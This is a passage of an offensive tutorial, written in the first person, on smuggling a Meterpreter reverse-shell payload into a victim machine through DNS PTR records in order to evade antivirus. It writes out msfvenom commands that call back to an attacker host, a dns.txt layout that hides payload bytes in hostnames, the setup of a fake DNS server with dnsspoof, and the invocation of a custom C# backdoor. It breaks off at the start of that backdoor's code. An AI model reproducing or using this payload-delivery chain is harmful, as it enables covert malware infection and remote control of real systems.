- no title specified

Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

•Goal : Understanding this technique by C#
•Creating C#.NET Code and Testing.

Understanding this technique by C# : Bypassing Anti-viruses with Transferring Backdoor Payloads via DNS traffic

In this chapter I want to explain how can bypass anti-viruses without encryption method for payloads so in this chapter I want to talk about DATA-Payload “Infiltration/Exfiltration/Transferring” Technique by DNS Traffic. In this technique I want to use DNS protocol to Transfer my backdoor payloads from attacker computer to Client computer so in this case we need one backdoor code “without” hard-coded payload or encrypted Payload.

Therefore risk for detecting by Anti-Viruses is very low in this case.

Why DNS protocol?

Because DNS traffic in the most networks are available without monitoring or Filtering by IPS/IDS or hardware firewalls and I know you can Check DNS Traffic by Snort IPS/IDS or something like that but detecting new Payloads via DNS Traffic by signatures is Difficult but is possible for network administrators .

In this article I want to show you one way to hiding your payloads by DNS Request/Response over Network.

Where is vulnerability point in this case?

When you want to use Payloads without encryption or Hard coded Payloads in your backdoor file like this case you need to transfer Payloads over Network from your system to target computer by some Protocol like HTTP and DNS or … , in this case we want to transfer these Payloads over DNS Traffic also execute these Payloads in Target computer memory so vulnerability point is Payload location and vulnerability point is Anti-viruses methods for Detecting Malware. Because in this case we don’t have Payloads on File-systems so we have Payload in memory and Network Traffic.

Note : “Unfortunately” Network traffic monitoring and Memory Monitoring/Scanning by AVs to Detect malware code do not work very well or do not work always in the most Anti-viruses with or without IPS/IDS features.

Example: Backdoor Payloads in DNS Zone with PTR records and A records.

Picture 1: DNS Zone (IPAddress_to_DnsNameFQDN).

As you can see in this DNS zone I have two PTR records with meterpreter Payload like two FQDN And I have two PTR Record for Backdoor Reconnect setting Time also one A record.

Splitting Payload values and Records!

If you want to bypassing Payload detection over Network DNS traffic by signature base Firewalls or IPS/IDS tools

One good way for do this is splitting your Payloads into DNS Records with same Type like PTR or other types also you can encrypt your Payloads then use these Protocols. it depends on you and your target network.

You can see in picture 1, I have five records for Splitting one Payload in this case Meterpreter Payload Line one.

Therefore payloads for these records are equal with payload for this record 1.1.1.0

Example: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0

It means you can have:

five DNS request for 1.0.1.x * 5 <=> 5 response with result like (1 response from payload-0 by PTR record 1.1.1.0)

one DNS Request for 1.1.1.0 <=> 1 Response by (payload-0 by PTR record 1.1.1.0)

In client side you can get this information from fake DNS server by more tools or technique but I want to use NSLOOKUP command prompt by backdoor because I think this is very simple to use.

As you can see in picture 2, I try to test DNS traffic from Fake DNS server to Client by NSLOOKUP tool.

Picture 2: Nslookup command and Testing DNS Traffic.

Now I want to talk about how can make Fake DNS server with linux and Meterpreter Payload via DNS Records And finally use my tool NativePayload_DNS.exe to execute Payload and getting Meterpreter session by DNS traffic.

STEP1: Make Fake DNS Server with Meterpreter Payloads Step by step:

In this step you should make Meterpreter Payload with Msfvenom Tool like picture 4 and copy that Payload line by line to dns.txt file then Use this file by DNSSpoof tool for making Fake DNS Server with kali Linux.

But before I explain how can do this first I should show you Meterpreter Payload with “Exe” file and Test this Payload with All anti-viruses then you can see this Payload and this signature will detect by the most Anti-viruses when you used that with EXE format.

Why I want to show this one?

Because I want to show you , I used two same Payloads by two techniques first by “EXE” format file and second by Transfer via DNS Traffic and you can see EXE format will detect by Anti-viruses but AVs can’t Detect Second technique “Transfer by DNS traffic” and we know both method had same Payload .

Example1 , First technique EXE format: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f exe > /root/Desktop/payload.exe

As you can see in picture 3 my payload with EXE format detected by 11 anti-viruses.

Picture 3: EXE Format payload Detected by AVs

Ok now for second technique you should use this one with C type or Csharp type ( -f : Transform Type)

Example2 , second technique DNS Traffic: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/Desktop/payload.txt

After make payload.txt file , now you should make dns.txt file and copy your payloads line by line to dns.txt file like format as you can see in picture 4.

This is really important you have correct Format in dns.txt file.

Because we want to use this file by Dnsspoof tool with linux and your format should be something like this:

Ipaddress “{payload}.domain.com”

1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”

1.1.1.1 “0xbc0xc80x130xff0x100x08.1.com”

In this case because my C# backdoor code customized for domain name “1.com” we should use this name for domain Or something like that “2.com”, “3.net”, “t.com” or domain with one char name + ".com"

So in this case ipaddress “1.1.1.x” is our Counter for our Payload lines in our dns.txt file.

1.1.1.0 --> Line 0 in payload.txt file --> “{payload0}.1.com”

1.1.1.1 --> Line 1 in payload.txt file --> “{payload1}.1.com”

1.1.1.2 --> Line 2 in payload.txt file --> “{payload2}.1.com”

Picture 4: step1 for make fake DNS server and Meterpreter payloads

After make dns.txt file you should have this file like picture 5.

Picture5: Dns.txt file for make Fake DNS Server by dnsspoof tool

Ok now you can use dnsspoof tool like picture 6 for starting Fake DNS Server in your linux.

Picture 6: dnsspoof tool

in step 2 we need to use one backdoor for Downloading Payloads from Fake DNS server by DNS Traffic.

In this case I made this C# source code for do that and in my code I used nslookup.exe tool for sending dns requests finally my code will dump backdoor Payloads via DNS PTR Response from FakeDNSserver over network.

STEP2:

After compile this code you have one exe file and for execute this exe file you should use this syntax in command prompt:

Command Syntax:

NativePayload_DNS.exe “Start_IpAddress” Counter “FakeDNSServer_IpAddress”

Example: C:\> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

Start_IpAddress : is your first IpAddress for you PTR Records without last section for HostID { 1 . 1 . 1 . } so in this case you should type three “1.” for this argument.

Counter : is DNS PTR Records number in this case we have 1.1.1.0 …. 1.1.1.33 in our dns.txt file so number is 34

FakeDNSServer_IpAddress : FakeDNS_IP is our DNS server IPaddress or Attacker FakeDNSserver in this case our kali linux ipaddress is 192-168-1-50

Before execute this backdoor remember you should made listener for metasploit

in your kali linux with ipadress 192-168-1-50.

Now you can execute this backdoor like picture 7:

NativePayload_DNS.exe 1.1.1. 34 192.168.1.50

Picture 7 : NativePayload_DNS tool

As you can see in picture 7 this backdoor tried to send DNS Request for ipaddress 1.1.1.x also you can see each Response.

In the next picture you can see our network traffic between Client and Attacker FakeDNS_Server

Picture 8: Transfer Meterpreter Payloads by DNS Traffic

Finally after 34 countdown you will have Meterpreter Session in Attacker Side like picture 9 and unfortunately as you can see my Anti-Viruses can’t detect this Technique , and I think the most AVs can’t Detect this Technique so if you Check this Technique by other AVs please tell me by Writing comment here also please explain which one of AVs detected this Technique and what version ;) thank you guys.

Picture 9: Meterpreter Session by DNS Traffic

And you can see my anti-virus again bypassed ;-) also this is my Result for scanning my Source Code by All anti-viruses now you can compare “Picture 3” with “Picture 10” Both Backdoors worked by same Payloads , (warning : Don't use VirusTotal or this site for testing your Codes Never ever)

Picture 10: NativePayload_DNS (AVs result = 0 detected)

And in the next picture you can see what happened behind my C# source code by NSLOOKUP tool.

Picture 11 : Nslookup and UDP connections for DNS Traffic

Finally you can see my Meterpreter Session with tcpview tool and putty tool in next pictures

Picture 12: Tcpview and TCP connection established when Backdoor Payload Downloaded from DNSServer.

in picture 13 you can see meterpreter Session too :

Picture 13: Meterpreter Session.

At a glance : you can’t trust to Anti-viruses for defense always so with this technique or other ways for Transfer Payload by other protocols in network , your network and your Client/Server is Vulnerable too so please check this technique in your Anti-viruses and share your Experience here by comments .

Creating C#.NET Code and Testing:

In this technique we used DNS traffic by PTR records so for doing this we need some tools or Code for Sending DNS traffic so in this case our Code uses NSLOOKUP tool for DNS requests and Response so in our C# Code we need to use this Command by this Code :

public static string __nslookup(string DNS_PTR_A, string DnsServer)